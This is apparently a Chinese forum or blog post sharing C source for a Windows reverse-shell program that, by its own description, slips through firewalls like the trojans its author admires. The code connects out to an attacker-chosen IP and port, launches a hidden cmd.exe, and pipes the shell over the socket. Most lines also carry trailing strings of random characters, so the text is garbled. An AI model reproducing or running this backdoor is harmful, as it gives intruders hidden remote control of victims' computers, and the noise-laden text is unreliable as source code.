Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 )|`|Usn#[  
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/* ============================== KkD&|&!Q7u  
Rebound port in Windows NT VJ()sbl{k  
By wind,2006/7 &BS*C} },  
===============================*/ rM{V>s:N  
#include *_CzCl^   
#include xJ|_R,>.H  
0`%Ask  
#pragma comment(lib,"wsock32.lib") ?'+kZ|  
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void OutputShell(); t p<wMrq<  
SOCKET sClient;  mPS27z(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &(i_s  
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void main(int argc,char **argv) PQA}_o  
{ 6PdLJ#LS  
WSADATA stWsaData; xfADks2w  
int nRet; )HJ#|JpxC  
SOCKADDR_IN stSaiClient,stSaiServer; u5E\wRn  
&_W~d0  
if(argc != 3) n|AV7c  
{ `T(T]^C98  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,)%$Zxng  
return; vG'I|OWg  
} +X|^ ~)tMJ  
 "DsL$D2e  
WSAStartup(MAKEWORD(2,2),&stWsaData); w-wap  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m%)Cw)t 7  
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stSaiClient.sin_family = AF_INET; %+0V0.  
stSaiClient.sin_port = htons(0); nX|]JW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '4]_~?&x  
=dDr:Y<@*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =@y ?Np^A  
{ >N8*O3  
printf("Bind Socket Failed!\n"); \zx$]|AQ  
return; m*H' Cb  
} ?:+sjHzXT  
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stSaiServer.sin_family = AF_INET; QP:|D_k  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W}aCU~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "`Mowp*  
> xie+ ^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tv'=xDCp  
{ "#G`F  
printf("Connect Error!"); -cP7`.a  
return; (,OF<<OH  
} ^g N/5
 
OutputShell(); \k>1q/T0V  
} AtYqD<hl:  
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void OutputShell() bd)'1;p  
{ i$JN s)I%  
char szBuff[1024]; ,Aw Z%  
SECURITY_ATTRIBUTES stSecurityAttributes; RAB'%CY4  
OSVERSIONINFO stOsversionInfo; p4^&G/'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %=`wN^3t2  
STARTUPINFO stStartupInfo; z[+S
b;  
char *szShell; Eu|O<9U\  
PROCESS_INFORMATION stProcessInformation; S:8 WBY]M  
unsigned long lBytesRead; +sFpIiJg  
br%l>Y\"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .)Zs:50l  
stSecurityAttributes.lpSecurityDescriptor = 0; %_%BbQf  
stSecurityAttributes.bInheritHandle = TRUE; "X,*VQl:  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &(X67  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +sT S1t  
/X;/}fk  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ld?'X=eQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yZQcxg%  
stStartupInfo.wShowWindow = SW_HIDE; PWk\#dJN&  
stStartupInfo.hStdInput = hReadPipe; &M{;[O{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L%;[tu(*  
;LqpX!Pi f  
GetVersionEx(&stOsversionInfo); dCpDA a3  
,)M/mG?,  
switch(stOsversionInfo.dwPlatformId) ,{X}C  
{ qT~a`ou:  
case 1: ;(&S1Rv9  
szShell = "command.com"; i"d&U7Q  
break; SFR<T  
default: ;cf
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szShell = "cmd.exe"; <S3s==Cg  
break; &a.A8v)  
}
 )fQ1U  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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__Zex5Y#-  
send(sClient,szMsg,77,0); mx5#K\  
while(1) qPBOt;N  
{ )kDB*(?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K5^`,}Q^  
if(lBytesRead) "p]!="\  
{ ,ygUy]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 89Ir}bCr  
send(sClient,szBuff,lBytesRead,0); :!ablO~  
} Jq?Fi'2F%  
else L%jIU<?Z7  
{ hBi/l
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lBytesRead=recv(sClient,szBuff,1024,0); Mj`g84  
if(lBytesRead<=0) break; |]5`T9K@b#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "x3x$JQZy  
} D)tL}X$  
} 0.)q5B`  
)H(i)$I  
return; XAZPbvG|$  
}